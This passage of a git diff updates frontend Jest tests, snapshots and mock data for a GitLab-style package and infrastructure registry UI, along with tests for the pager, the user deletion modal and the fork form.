let store;
- const findRegistrySearch = () => wrapper.find(RegistrySearch);
+ const findRegistrySearch = () => wrapper.findComponent(RegistrySearch);
+ const findUrlSync = () => wrapper.findComponent(UrlSync);
const createStore = (isGroupPage) => {
const state = {
@@ -37,6 +39,9 @@ describe('Package Search', () => {
wrapper = shallowMount(component, {
localVue,
store,
+ stubs: {
+ UrlSync,
+ },
});
};
@@ -55,7 +60,7 @@ describe('Package Search', () => {
tokens: expect.arrayContaining([
expect.objectContaining({ token: PackageTypeToken, type: 'type', icon: 'package' }),
]),
- sortableFields: getTableHeaders(),
+ sortableFields: sortableFields(),
});
});
@@ -72,7 +77,7 @@ describe('Package Search', () => {
tokens: expect.arrayContaining([
expect.objectContaining({ token: PackageTypeToken, type: 'type', icon: 'package' }),
]),
- sortableFields: getTableHeaders(isGroupPage),
+ sortableFields: sortableFields(isGroupPage),
});
});
@@ -104,4 +109,20 @@ describe('Package Search', () => {
expect(wrapper.emitted('update')).toEqual([[]]);
});
+
+ it('has a UrlSync component', () => {
+ mountComponent();
+
+ expect(findUrlSync().exists()).toBe(true);
+ });
+
+ it('on query:changed calls updateQuery from UrlSync', () => {
+ jest.spyOn(UrlSync.methods, 'updateQuery').mockImplementation(() => {});
+
+ mountComponent();
+
+ findRegistrySearch().vm.$emit('query:changed');
+
+ expect(UrlSync.methods.updateQuery).toHaveBeenCalled();
+ });
});
diff --git a/spec/frontend/packages/list/components/packages_title_spec.js b/spec/frontend/packages/list/components/packages_title_spec.js
index 3716e8daa7c..a17f72e3133 100644
--- a/spec/frontend/packages/list/components/packages_title_spec.js
+++ b/spec/frontend/packages/list/components/packages_title_spec.js
@@ -11,7 +11,7 @@ describe('PackageTitle', () => {
const findTitleArea = () => wrapper.find(TitleArea);
const findMetadataItem = () => wrapper.find(MetadataItem);
- const mountComponent = (propsData = { packageHelpUrl: 'foo' }) => {
+ const mountComponent = (propsData = { helpUrl: 'foo' }) => {
wrapper = shallowMount(PackageTitle, {
store,
propsData,
@@ -44,15 +44,15 @@ describe('PackageTitle', () => {
});
describe.each`
- packagesCount | exist | text
- ${null} | ${false} | ${''}
- ${undefined} | ${false} | ${''}
- ${0} | ${true} | ${'0 Packages'}
- ${1} | ${true} | ${'1 Package'}
- ${2} | ${true} | ${'2 Packages'}
- `('when packagesCount is $packagesCount metadata item', ({ packagesCount, exist, text }) => {
+ count | exist | text
+ ${null} | ${false} | ${''}
+ ${undefined} | ${false} | ${''}
+ ${0} | ${true} | ${'0 Packages'}
+ ${1} | ${true} | ${'1 Package'}
+ ${2} | ${true} | ${'2 Packages'}
+ `('when count is $count metadata item', ({ count, exist, text }) => {
beforeEach(() => {
- mountComponent({ packagesCount, packageHelpUrl: 'foo' });
+ mountComponent({ count, helpUrl: 'foo' });
});
it(`is ${exist} that it exists`, () => {
diff --git a/spec/frontend/packages/list/utils_spec.js b/spec/frontend/packages/list/utils_spec.js
index 5bcc3784752..4e4f7b8a723 100644
--- a/spec/frontend/packages/list/utils_spec.js
+++ b/spec/frontend/packages/list/utils_spec.js
@@ -1,6 +1,15 @@
-import { getNewPaginationPage } from '~/packages/list/utils';
+import { SORT_FIELDS } from '~/packages/list/constants';
+import { getNewPaginationPage, sortableFields } from '~/packages/list/utils';
describe('Packages list utils', () => {
+ describe('sortableFields', () => {
+ it('returns the correct list when is a project page', () => {
+ expect(sortableFields()).toEqual(SORT_FIELDS.filter((f) => f.orderBy !== 'project_path'));
+ });
+ it('returns the full list on the group page', () => {
+ expect(sortableFields(true)).toEqual(SORT_FIELDS);
+ });
+ });
describe('packageTypeDisplay', () => {
it('returns the current page when total items exceeds pagniation', () => {
expect(getNewPaginationPage(2, 20, 21)).toBe(2);
diff --git a/spec/frontend/packages/mock_data.js b/spec/frontend/packages/mock_data.js
index fbc167729d9..06009daba54 100644
--- a/spec/frontend/packages/mock_data.js
+++ b/spec/frontend/packages/mock_data.js
@@ -134,6 +134,23 @@ export const nugetPackage = {
},
};
+export const rubygemsPackage = {
+ created_at: '2015-12-10',
+ id: 4,
+ name: 'RubyGem1',
+ package_files: [],
+ package_type: 'rubygems',
+ project_id: 1,
+ tags: [],
+ updated_at: '2015-12-10',
+ version: '1.0.0',
+ rubygems_metadatum: {
+ author: 'Fake Name',
+ summary: 'My gem',
+ email: 'tanuki@fake.com',
+ },
+};
+
export const pypiPackage = {
created_at: '2015-12-10',
id: 5,
diff --git a/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap b/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap
index 77095f7c611..03b98478f3e 100644
--- a/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap
+++ b/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap
@@ -51,20 +51,7 @@ exports[`packages_list_row renders 1`] = `
<!---->
- <div
- class="d-flex align-items-center"
- data-testid="package-type"
- >
- <gl-icon-stub
- class="gl-ml-3 gl-mr-2"
- name="package"
- size="16"
- />
-
- <span>
- Maven
- </span>
- </div>
+ <div />
<package-path-stub
path="foo/bar/baz"
diff --git a/spec/frontend/packages/shared/components/package_icon_and_name_spec.js b/spec/frontend/packages/shared/components/package_icon_and_name_spec.js
new file mode 100644
index 00000000000..c96a570a29c
--- /dev/null
+++ b/spec/frontend/packages/shared/components/package_icon_and_name_spec.js
@@ -0,0 +1,32 @@
+import { GlIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import PackageIconAndName from '~/packages/shared/components/package_icon_and_name.vue';
+
+describe('PackageIconAndName', () => {
+ let wrapper;
+
+ const findIcon = () => wrapper.find(GlIcon);
+
+ const mountComponent = () => {
+ wrapper = shallowMount(PackageIconAndName, {
+ slots: {
+ default: 'test',
+ },
+ });
+ };
+
+ it('has an icon', () => {
+ mountComponent();
+
+ const icon = findIcon();
+
+ expect(icon.exists()).toBe(true);
+ expect(icon.props('name')).toBe('package');
+ });
+
+ it('renders the slot content', () => {
+ mountComponent();
+
+ expect(wrapper.text()).toBe('test');
+ });
+});
diff --git a/spec/frontend/packages/shared/components/package_list_row_spec.js b/spec/frontend/packages/shared/components/package_list_row_spec.js
index 1c0ef7e3539..fd54cd0f25d 100644
--- a/spec/frontend/packages/shared/components/package_list_row_spec.js
+++ b/spec/frontend/packages/shared/components/package_list_row_spec.js
@@ -1,7 +1,9 @@
import { shallowMount } from '@vue/test-utils';
+
import PackagesListRow from '~/packages/shared/components/package_list_row.vue';
import PackagePath from '~/packages/shared/components/package_path.vue';
import PackageTags from '~/packages/shared/components/package_tags.vue';
+
import ListItem from '~/vue_shared/components/registry/list_item.vue';
import { packageList } from '../../mock_data';
@@ -11,20 +13,30 @@ describe('packages_list_row', () => {
const [packageWithoutTags, packageWithTags] = packageList;
+ const InfrastructureIconAndName = { name: 'InfrastructureIconAndName', template: '<div></div>' };
+ const PackageIconAndName = { name: 'PackageIconAndName', template: '<div></div>' };
+
const findPackageTags = () => wrapper.find(PackageTags);
const findPackagePath = () => wrapper.find(PackagePath);
const findDeleteButton = () => wrapper.find('[data-testid="action-delete"]');
- const findPackageType = () => wrapper.find('[data-testid="package-type"]');
+ const findPackageIconAndName = () => wrapper.find(PackageIconAndName);
+ const findInfrastructureIconAndName = () => wrapper.find(InfrastructureIconAndName);
const mountComponent = ({
isGroup = false,
packageEntity = packageWithoutTags,
showPackageType = true,
disableDelete = false,
+ provide,
} = {}) => {
wrapper = shallowMount(PackagesListRow, {
store,
- stubs: { ListItem },
+ provide,
+ stubs: {
+ ListItem,
+ InfrastructureIconAndName,
+ PackageIconAndName,
+ },
propsData: {
packageLink: 'foo',
packageEntity,
@@ -72,13 +84,13 @@ describe('packages_list_row', () => {
it('shows the type when set', () => {
mountComponent();
- expect(findPackageType().exists()).toBe(true);
+ expect(findPackageIconAndName().exists()).toBe(true);
});
it('does not show the type when not set', () => {
mountComponent({ showPackageType: false });
- expect(findPackageType().exists()).toBe(false);
+ expect(findPackageIconAndName().exists()).toBe(false);
});
});
@@ -113,4 +125,25 @@ describe('packages_list_row', () => {
expect(wrapper.emitted('packageToDelete')[0]).toEqual([packageWithoutTags]);
});
});
+
+ describe('Infrastructure config', () => {
+ it('defaults to package registry components', () => {
+ mountComponent();
+
+ expect(findPackageIconAndName().exists()).toBe(true);
+ expect(findInfrastructureIconAndName().exists()).toBe(false);
+ });
+
+ it('mounts different component based on the provided values', () => {
+ mountComponent({
+ provide: {
+ iconComponent: 'InfrastructureIconAndName',
+ },
+ });
+
+ expect(findPackageIconAndName().exists()).toBe(false);
+
+ expect(findInfrastructureIconAndName().exists()).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/packages/shared/utils_spec.js b/spec/frontend/packages/shared/utils_spec.js
index 4a95def1bef..463e4a4febb 100644
--- a/spec/frontend/packages/shared/utils_spec.js
+++ b/spec/frontend/packages/shared/utils_spec.js
@@ -38,6 +38,7 @@ describe('Packages shared utils', () => {
${'npm'} | ${'npm'}
${'nuget'} | ${'NuGet'}
${'pypi'} | ${'PyPI'}
+ ${'rubygems'} | ${'RubyGems'}
${'composer'} | ${'Composer'}
${'foo'} | ${null}
`(`package type`, ({ packageType, expectedResult }) => {
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name_spec.js
new file mode 100644
index 00000000000..ef26c729691
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name_spec.js
@@ -0,0 +1,28 @@
+import { GlIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import InfrastructureIconAndName from '~/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name.vue';
+
+describe('InfrastructureIconAndName', () => {
+ let wrapper;
+
+ const findIcon = () => wrapper.find(GlIcon);
+
+ const mountComponent = () => {
+ wrapper = shallowMount(InfrastructureIconAndName, {});
+ };
+
+ it('has an icon', () => {
+ mountComponent();
+
+ const icon = findIcon();
+
+ expect(icon.exists()).toBe(true);
+ expect(icon.props('name')).toBe('infrastructure-registry');
+ });
+
+ it('has the type fixed to terraform', () => {
+ mountComponent();
+
+ expect(wrapper.text()).toBe('Terraform');
+ });
+});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_search_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_search_spec.js
new file mode 100644
index 00000000000..119b678cc37
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_search_spec.js
@@ -0,0 +1,135 @@
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import component from '~/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue';
+import RegistrySearch from '~/vue_shared/components/registry/registry_search.vue';
+import UrlSync from '~/vue_shared/components/url_sync.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('Infrastructure Search', () => {
+ let wrapper;
+ let store;
+
+ const sortableFields = () => [
+ { orderBy: 'name', label: 'Name' },
+ { orderBy: 'version', label: 'Version' },
+ { orderBy: 'created_at', label: 'Published' },
+ ];
+
+ const groupSortableFields = () => [
+ { orderBy: 'name', label: 'Name' },
+ { orderBy: 'project_path', label: 'Project' },
+ { orderBy: 'version', label: 'Version' },
+ { orderBy: 'created_at', label: 'Published' },
+ ];
+
+ const findRegistrySearch = () => wrapper.findComponent(RegistrySearch);
+ const findUrlSync = () => wrapper.findComponent(UrlSync);
+
+ const createStore = (isGroupPage) => {
+ const state = {
+ config: {
+ isGroupPage,
+ },
+ sorting: {
+ orderBy: 'version',
+ sort: 'desc',
+ },
+ filter: [],
+ };
+ store = new Vuex.Store({
+ state,
+ });
+ store.dispatch = jest.fn();
+ };
+
+ const mountComponent = (isGroupPage = false) => {
+ createStore(isGroupPage);
+
+ wrapper = shallowMount(component, {
+ localVue,
+ store,
+ stubs: {
+ UrlSync,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('has a registry search component', () => {
+ mountComponent();
+
+ expect(findRegistrySearch().exists()).toBe(true);
+ expect(findRegistrySearch().props()).toMatchObject({
+ filter: store.state.filter,
+ sorting: store.state.sorting,
+ tokens: [],
+ sortableFields: sortableFields(),
+ });
+ });
+
+ it.each`
+ isGroupPage | page | fields
+ ${false} | ${'project'} | ${sortableFields()}
+ ${true} | ${'group'} | ${groupSortableFields()}
+ `('in a $page page binds the right props', ({ isGroupPage, fields }) => {
+ mountComponent(isGroupPage);
+
+ expect(findRegistrySearch().props()).toMatchObject({
+ filter: store.state.filter,
+ sorting: store.state.sorting,
+ tokens: [],
+ sortableFields: fields,
+ });
+ });
+
+ it('on sorting:changed emits update event and calls vuex setSorting', () => {
+ const payload = { sort: 'foo' };
+
+ mountComponent();
+
+ findRegistrySearch().vm.$emit('sorting:changed', payload);
+
+ expect(store.dispatch).toHaveBeenCalledWith('setSorting', payload);
+ expect(wrapper.emitted('update')).toEqual([[]]);
+ });
+
+ it('on filter:changed calls vuex setFilter', () => {
+ const payload = ['foo'];
+
+ mountComponent();
+
+ findRegistrySearch().vm.$emit('filter:changed', payload);
+
+ expect(store.dispatch).toHaveBeenCalledWith('setFilter', payload);
+ });
+
+ it('on filter:submit emits update event', () => {
+ mountComponent();
+
+ findRegistrySearch().vm.$emit('filter:submit');
+
+ expect(wrapper.emitted('update')).toEqual([[]]);
+ });
+
+ it('has a UrlSync component', () => {
+ mountComponent();
+
+ expect(findUrlSync().exists()).toBe(true);
+ });
+
+ it('on query:changed calls updateQuery from UrlSync', () => {
+ jest.spyOn(UrlSync.methods, 'updateQuery').mockImplementation(() => {});
+
+ mountComponent();
+
+ findRegistrySearch().vm.$emit('query:changed');
+
+ expect(UrlSync.methods.updateQuery).toHaveBeenCalled();
+ });
+});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_title_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_title_spec.js
new file mode 100644
index 00000000000..db6e175b054
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_title_spec.js
@@ -0,0 +1,75 @@
+import { shallowMount } from '@vue/test-utils';
+import component from '~/packages_and_registries/infrastructure_registry/components/infrastructure_title.vue';
+import MetadataItem from '~/vue_shared/components/registry/metadata_item.vue';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
+
+describe('Infrastructure Title', () => {
+ let wrapper;
+ let store;
+
+ const findTitleArea = () => wrapper.find(TitleArea);
+ const findMetadataItem = () => wrapper.find(MetadataItem);
+
+ const mountComponent = (propsData = { helpUrl: 'foo' }) => {
+ wrapper = shallowMount(component, {
+ store,
+ propsData,
+ stubs: {
+ TitleArea,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('title area', () => {
+ it('exists', () => {
+ mountComponent();
+
+ expect(findTitleArea().exists()).toBe(true);
+ });
+
+ it('has the correct props', () => {
+ mountComponent();
+
+ expect(findTitleArea().props()).toMatchObject({
+ title: 'Infrastructure Registry',
+ infoMessages: [
+ {
+ text: 'Publish and share your modules. %{docLinkStart}More information%{docLinkEnd}',
+ link: 'foo',
+ },
+ ],
+ });
+ });
+ });
+
+ describe.each`
+ count | exist | text
+ ${null} | ${false} | ${''}
+ ${undefined} | ${false} | ${''}
+ ${0} | ${true} | ${'0 Modules'}
+ ${1} | ${true} | ${'1 Module'}
+ ${2} | ${true} | ${'2 Modules'}
+ `('when count is $count metadata item', ({ count, exist, text }) => {
+ beforeEach(() => {
+ mountComponent({ count, helpUrl: 'foo' });
+ });
+
+ it(`is ${exist} that it exists`, () => {
+ expect(findMetadataItem().exists()).toBe(exist);
+ });
+
+ if (exist) {
+ it('has the correct props', () => {
+ expect(findMetadataItem().props()).toMatchObject({
+ icon: 'infrastructure-registry',
+ text,
+ });
+ });
+ }
+ });
+});
diff --git a/spec/frontend/packages_and_registries/settings/group/components/maven_settings_spec.js b/spec/frontend/packages_and_registries/settings/group/components/maven_settings_spec.js
index 2433c50ff24..859d3587223 100644
--- a/spec/frontend/packages_and_registries/settings/group/components/maven_settings_spec.js
+++ b/spec/frontend/packages_and_registries/settings/group/components/maven_settings_spec.js
@@ -59,7 +59,10 @@ describe('Maven Settings', () => {
mountComponent();
expect(findToggle().exists()).toBe(true);
- expect(findToggle().props('value')).toBe(defaultProps.mavenDuplicatesAllowed);
+ expect(findToggle().props()).toMatchObject({
+ label: component.i18n.MAVEN_TOGGLE_LABEL,
+ value: defaultProps.mavenDuplicatesAllowed,
+ });
});
it('toggle emits an update event', () => {
diff --git a/spec/frontend/packages_and_registries/shared/utils_spec.js b/spec/frontend/packages_and_registries/shared/utils_spec.js
new file mode 100644
index 00000000000..bbc8791ca21
--- /dev/null
+++ b/spec/frontend/packages_and_registries/shared/utils_spec.js
@@ -0,0 +1,59 @@
+import { FILTERED_SEARCH_TERM } from '~/packages_and_registries/shared/constants';
+import {
+ getQueryParams,
+ keyValueToFilterToken,
+ searchArrayToFilterTokens,
+ extractFilterAndSorting,
+} from '~/packages_and_registries/shared/utils';
+
+describe('Packages And Registries shared utils', () => {
+ describe('getQueryParams', () => {
+ it('returns an object from a query string, with arrays', () => {
+ const queryString = 'foo=bar&baz[]=1&baz[]=2';
+
+ expect(getQueryParams(queryString)).toStrictEqual({ foo: 'bar', baz: ['1', '2'] });
+ });
+ });
+
+ describe('keyValueToFilterToken', () => {
+ it('returns an object in the correct form', () => {
+ const type = 'myType';
+ const data = 1;
+
+ expect(keyValueToFilterToken(type, data)).toStrictEqual({ type, value: { data } });
+ });
+ });
+
+ describe('searchArrayToFilterTokens', () => {
+ it('returns an array of objects in the correct form', () => {
+ const search = ['one', 'two'];
+
+ expect(searchArrayToFilterTokens(search)).toStrictEqual([
+ { type: FILTERED_SEARCH_TERM, value: { data: 'one' } },
+ { type: FILTERED_SEARCH_TERM, value: { data: 'two' } },
+ ]);
+ });
+ });
+ describe('extractFilterAndSorting', () => {
+ it.each`
+ search | type | sort | orderBy | result
+ ${['one']} | ${'myType'} | ${'asc'} | ${'foo'} | ${{ sorting: { sort: 'asc', orderBy: 'foo' }, filters: [{ type: 'type', value: { data: 'myType' } }, { type: FILTERED_SEARCH_TERM, value: { data: 'one' } }] }}
+ ${['one']} | ${null} | ${'asc'} | ${'foo'} | ${{ sorting: { sort: 'asc', orderBy: 'foo' }, filters: [{ type: FILTERED_SEARCH_TERM, value: { data: 'one' } }] }}
+ ${[]} | ${null} | ${'asc'} | ${'foo'} | ${{ sorting: { sort: 'asc', orderBy: 'foo' }, filters: [] }}
+ ${null} | ${null} | ${'asc'} | ${'foo'} | ${{ sorting: { sort: 'asc', orderBy: 'foo' }, filters: [] }}
+ ${null} | ${null} | ${null} | ${'foo'} | ${{ sorting: { orderBy: 'foo' }, filters: [] }}
+ ${null} | ${null} | ${null} | ${null} | ${{ sorting: {}, filters: [] }}
+ `(
+ 'returns sorting and filters objects in the correct form',
+ ({ search, type, sort, orderBy, result }) => {
+ const queryObject = {
+ search,
+ type,
+ sort,
+ orderBy,
+ };
+ expect(extractFilterAndSorting(queryObject)).toStrictEqual(result);
+ },
+ );
+ });
+});
diff --git a/spec/frontend/pager_spec.js b/spec/frontend/pager_spec.js
index ad4222e7cb2..95679a51c6d 100644
--- a/spec/frontend/pager_spec.js
+++ b/spec/frontend/pager_spec.js
@@ -32,38 +32,12 @@ describe('pager', () => {
window.history.replaceState({}, null, originalHref);
});
- it('should use data-href attribute from list element', () => {
- const href = `${TEST_HOST}/some_list.json`;
- setFixtures(`<div class="content_list" data-href="${href}"></div>`);
- Pager.init();
-
- expect(Pager.url).toBe(href);
- });
-
- it('should use current url if data-href attribute not provided', () => {
- const href = `${TEST_HOST}/some_list`;
- removeParams.mockReturnValue(href);
- Pager.init();
-
- expect(Pager.url).toBe(href);
- });
-
it('should get initial offset from query parameter', () => {
window.history.replaceState({}, null, '?offset=100');
Pager.init();
expect(Pager.offset).toBe(100);
});
-
- it('keeps extra query parameters from url', () => {
- window.history.replaceState({}, null, '?filter=test&offset=100');
- const href = `${TEST_HOST}/some_list?filter=test`;
- removeParams.mockReturnValue(href);
- Pager.init();
-
- expect(removeParams).toHaveBeenCalledWith(['limit', 'offset']);
- expect(Pager.url).toEqual(href);
- });
});
describe('getOld', () => {
@@ -164,5 +138,50 @@ describe('pager', () => {
done();
});
});
+
+ describe('has data-href attribute from list element', () => {
+ const href = `${TEST_HOST}/some_list.json`;
+
+ beforeEach(() => {
+ setFixtures(`<div class="content_list" data-href="${href}"></div>`);
+ });
+
+ it('should use data-href attribute', () => {
+ Pager.getOld();
+
+ expect(axios.get).toHaveBeenCalledWith(href, expect.any(Object));
+ });
+
+ it('should not use current url', () => {
+ Pager.getOld();
+
+ expect(removeParams).not.toHaveBeenCalled();
+ expect(removeParams).not.toHaveBeenCalledWith(href);
+ });
+ });
+
+ describe('no data-href attribute attribute provided from list element', () => {
+ beforeEach(() => {
+ setFixtures(`<div class="content_list"></div>`);
+ });
+
+ it('should use current url', () => {
+ const href = `${TEST_HOST}/some_list`;
+ removeParams.mockReturnValue(href);
+ Pager.getOld();
+
+ expect(axios.get).toHaveBeenCalledWith(href, expect.any(Object));
+ });
+
+ it('keeps extra query parameters from url', () => {
+ window.history.replaceState({}, null, '?filter=test&offset=100');
+ const href = `${TEST_HOST}/some_list?filter=test`;
+ removeParams.mockReturnValue(href);
+ Pager.getOld();
+
+ expect(removeParams).toHaveBeenCalledWith(['limit', 'offset']);
+ expect(axios.get).toHaveBeenCalledWith(href, expect.any(Object));
+ });
+ });
});
});
diff --git a/spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap b/spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap
index ddeaa2a79db..9f02e5b9432 100644
--- a/spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap
+++ b/spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap
@@ -50,11 +50,11 @@ exports[`User Operation confirmation modal renders modal with form included 1`]
<gl-button-stub
buttontextclasses=""
- category="primary"
+ category="secondary"
disabled="true"
icon=""
size="medium"
- variant="warning"
+ variant="danger"
>
secondaryAction
diff --git a/spec/frontend/pages/admin/users/components/delete_user_modal_spec.js b/spec/frontend/pages/admin/users/components/delete_user_modal_spec.js
index c7293b00adf..318b6d16008 100644
--- a/spec/frontend/pages/admin/users/components/delete_user_modal_spec.js
+++ b/spec/frontend/pages/admin/users/components/delete_user_modal_spec.js
@@ -11,15 +11,15 @@ describe('User Operation confirmation modal', () => {
let wrapper;
let formSubmitSpy;
- const findButton = (variant) =>
+ const findButton = (variant, category) =>
wrapper
.findAll(GlButton)
- .filter((w) => w.attributes('variant') === variant)
+ .filter((w) => w.attributes('variant') === variant && w.attributes('category') === category)
.at(0);
const findForm = () => wrapper.find('form');
const findUsernameInput = () => wrapper.find(GlFormInput);
- const findPrimaryButton = () => findButton('danger');
- const findSecondaryButton = () => findButton('warning');
+ const findPrimaryButton = () => findButton('danger', 'primary');
+ const findSecondaryButton = () => findButton('danger', 'secondary');
const findAuthenticityToken = () => new FormData(findForm().element).get('authenticity_token');
const getUsername = () => findUsernameInput().attributes('value');
const getMethodParam = () => new FormData(findForm().element).get('_method');
diff --git a/spec/frontend/pages/admin/users/new/index_spec.js b/spec/frontend/pages/admin/users/new/index_spec.js
deleted file mode 100644
index ec9fe487030..00000000000
--- a/spec/frontend/pages/admin/users/new/index_spec.js
+++ /dev/null
@@ -1,41 +0,0 @@
-import $ from 'jquery';
-import UserInternalRegexHandler from '~/pages/admin/users/new/index';
-
-describe('UserInternalRegexHandler', () => {
- const FIXTURE = 'admin/users/new_with_internal_user_regex.html';
- let $userExternal;
- let $userEmail;
- let $warningMessage;
-
- beforeEach(() => {
- loadFixtures(FIXTURE);
- // eslint-disable-next-line no-new
- new UserInternalRegexHandler();
- $userExternal = $('#user_external');
- $userEmail = $('#user_email');
- $warningMessage = $('#warning_external_automatically_set');
- if (!$userExternal.prop('checked')) $userExternal.prop('checked', 'checked');
- });
-
- describe('Behaviour of userExternal checkbox when', () => {
- it('matches email as internal', (done) => {
- expect($warningMessage.hasClass('hidden')).toBeTruthy();
-
- $userEmail.val('test@').trigger('input');
-
- expect($userExternal.prop('checked')).toBeFalsy();
- expect($warningMessage.hasClass('hidden')).toBeFalsy();
- done();
- });
-
- it('matches email as external', (done) => {
- expect($warningMessage.hasClass('hidden')).toBeTruthy();
-
- $userEmail.val('test.ext@').trigger('input');
-
- expect($userExternal.prop('checked')).toBeTruthy();
- expect($warningMessage.hasClass('hidden')).toBeTruthy();
- done();
- });
- });
-});
diff --git a/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js b/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
index 694a0c2b9c1..2992c7f0624 100644
--- a/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
+++ b/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
@@ -1,7 +1,8 @@
-import { GlForm, GlFormInputGroup } from '@gitlab/ui';
+import { GlForm, GlFormInputGroup, GlFormInput } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import axios from 'axios';
import AxiosMockAdapter from 'axios-mock-adapter';
+import { kebabCase } from 'lodash';
import createFlash from '~/flash';
import httpStatus from '~/lib/utils/http_status';
import * as urlUtility from '~/lib/utils/url_utility';
@@ -59,6 +60,7 @@ describe('ForkForm component', () => {
},
stubs: {
GlFormInputGroup,
+ GlFormInput,
},
});
};
@@ -204,6 +206,37 @@ describe('ForkForm component', () => {
});
});
+ describe('project slug', () => {
+ const projectPath = 'some other project slug';
+
+ beforeEach(() => {
+ mockGetRequest();
+ createComponent({
+ projectPath,
+ });
+ });
+
+ it('initially loads slug without kebab-case transformation', () => {
+ expect(findForkSlugInput().attributes('value')).toBe(projectPath);
+ });
+
+ it('changes to kebab case when project name changes', async () => {
+ const newInput = `${projectPath}1`;
+ findForkNameInput().vm.$emit('input', newInput);
+ await wrapper.vm.$nextTick();
+
+ expect(findForkSlugInput().attributes('value')).toBe(kebabCase(newInput));
+ });
+
+ it('does not change to kebab case when project slug is changed manually', async () => {
+ const newInput = `${projectPath}1`;
+ findForkSlugInput().vm.$emit('input', newInput);
+ await wrapper.vm.$nextTick();
+
+ expect(findForkSlugInput().attributes('value')).toBe(newInput);
+ });
+ });
+
describe('visibility level', () => {
it.each`
project | namespace | privateIsDisabled | internalIsDisabled | publicIsDisabled
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_a_spec.js.snap b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_a_spec.js.snap
index 1c1327e7a4e..8b54a06ac7c 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_a_spec.js.snap
+++ b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_a_spec.js.snap
@@ -1,70 +1,322 @@
// Jest Snapshot v1, https://goo.gl/fbAQLP
-exports[`Learn GitLab Design A should render the loading state 1`] = `
-<ul>
- <li>
- <span>
- Create or import a repository
- </span>
- </li>
- <li>
- <span>
- Invite your colleagues
- </span>
- </li>
- <li>
- <span>
- <gl-link-stub
- href="http://example.com/"
+exports[`Learn GitLab Design A renders correctly 1`] = `
+<div>
+ <div
+ class="row"
+ >
+ <div
+ class="gl-mb-7 gl-ml-5"
+ >
+ <h1
+ class="gl-font-size-h1"
>
- Set up CI/CD
- </gl-link-stub>
- </span>
- </li>
- <li>
- <span>
- <gl-link-stub
- href="http://example.com/"
+ Learn GitLab
+ </h1>
+
+ <p
+ class="gl-text-gray-700 gl-mb-0"
>
- Start a free Ultimate trial
- </gl-link-stub>
- </span>
- </li>
- <li>
- <span>
- <gl-link-stub
- href="http://example.com/"
+ Ready to get started with GitLab? Follow these steps to set up your workspace, plan and commit changes, and deploy your project.
+ </p>
+ </div>
+ </div>
+
+ <div
+ class="gl-mb-3"
+ >
+ <p
+ class="gl-text-gray-500 gl-mb-2"
+ data-testid="completion-percentage"
+ >
+ 22% completed
+ </p>
+
+ <div
+ class="progress"
+ max="9"
+ value="2"
+ >
+ <div
+ aria-valuemax="9"
+ aria-valuemin="0"
+ aria-valuenow="2"
+ class="progress-bar"
+ role="progressbar"
+ style="width: 22.22222222222222%;"
>
- Add code owners
- </gl-link-stub>
- </span>
- </li>
- <li>
- <span>
- <gl-link-stub
- href="http://example.com/"
+ <!---->
+ </div>
+ </div>
+ </div>
+
+ <div
+ class="row row-cols-1 row-cols-md-3 gl-mt-5"
+ >
+ <div
+ class="col gl-mb-6"
+ >
+ <div
+ class="gl-card gl-pt-0 learn-gitlab-section-card"
>
- Add merge request approval
- </gl-link-stub>
- </span>
- </li>
- <li>
- <span>
- <gl-link-stub
- href="http://example.com/"
+ <!---->
+
+ <div
+ class="gl-card-body"
+ >
+ <div
+ class="learn-gitlab-section-card-header"
+ >
+ <img
+ src="/assets/learn_gitlab/section_workspace.svg"
+ />
+
+ <h2
+ class="gl-font-lg gl-mb-3"
+ >
+ Set up your workspace
+ </h2>
+
+ <p
+ class="gl-text-gray-700 gl-mb-6"
+ >
+ Complete these tasks first so you can enjoy GitLab's features to their fullest:
+ </p>
+ </div>
+
+ <div
+ class="gl-mb-4"
+ >
+ <span
+ class="gl-text-green-500"
+ >
+ <svg
+ aria-hidden="true"
+ class="gl-icon s16"
+ data-testid="completed-icon"
+ >
+ <use
+ href="#check-circle-filled"
+ />
+ </svg>
+
+ Invite your colleagues
+
+ </span>
+
+ <!---->
+ </div>
+ <div
